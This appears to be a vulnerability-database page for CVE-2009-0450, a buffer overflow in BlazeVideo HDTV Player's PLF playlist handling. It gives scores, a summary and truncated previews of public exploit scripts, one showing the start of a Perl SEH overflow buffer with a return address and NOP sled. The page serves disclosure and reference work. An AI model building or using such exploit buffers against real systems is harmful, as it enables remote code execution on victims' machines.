9.3
CVSSv2

CVE-2009-0450

Published: 10/02/2009 Updated: 29/09/2017
CVSS v2 Base Score: 9.3 | Impact Score: 10 | Exploitability Score: 8.6
VMScore: 950
Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C

Vulnerability Summary

Stack-based buffer overflow in BlazeVideo HDTV Player 3.5 and previous versions allows remote malicious users to execute arbitrary code via a long string in a playlist (aka .plf) file.

Vulnerable Product Search on Vulmon Subscribe to Product

blazevideo hdtv player

blazevideo hdtv player 2.1

Exploits

# Exploit Title: BlazeVideo HDTV Player 66 Professional (Universal DEP+ASLR Bypass) # Author: modpr0be # Software Download: wwwblazevideocom/downloadphp?product=blazevideo-hdtv-pro # Date: 07/10/2011 # Tested on: Windows XP SP3, Windows Vista SP2, Windows 7 SP1 # Thanks: corelanc0d3r, cyb3ranbu, otoy, sickness, 5m7x, loneferret, _sinn3r ...
#!/usr/bin/python # # Title: BlazeVideo HDTV Player <= 35 PLF Playlist File Remote Heap Overflow Exploit # # Summary: BlazeVideo HDTV Player (BlazeDTV) is a full-featured and easy-to-use HDTV # Player software, combining HDTV playback, FM receiving, video record and DVD playback # functions You can make advantage of PC monitor's high resoluti ...
/* ======================================================================== 0-day BlazeVideo HDTV Player <= v21 Malformed PLF Buffer Overflow PoC ======================================================================== BlazeVideo HDTV v21 and prior fails to properly handle large file paths inside PLF files, the result is a stack based buffer o ...
#!/usr/bin/perl # by ThE g0bL!N #THNX: His0k4 Wahdo :) #BlazeDVD 51 Professional/Blaze HDTV Player 60 /(PLF File) Universal Buffer Overflow Exploit (SEH) ################################################################## my $bof="x41" x 608; my $nsh="xEBx06x90x90"; my $seh="x71xFBx32x60" ;# Universal Address my $nop="x90" x 20; my $sec= "xebx03x ...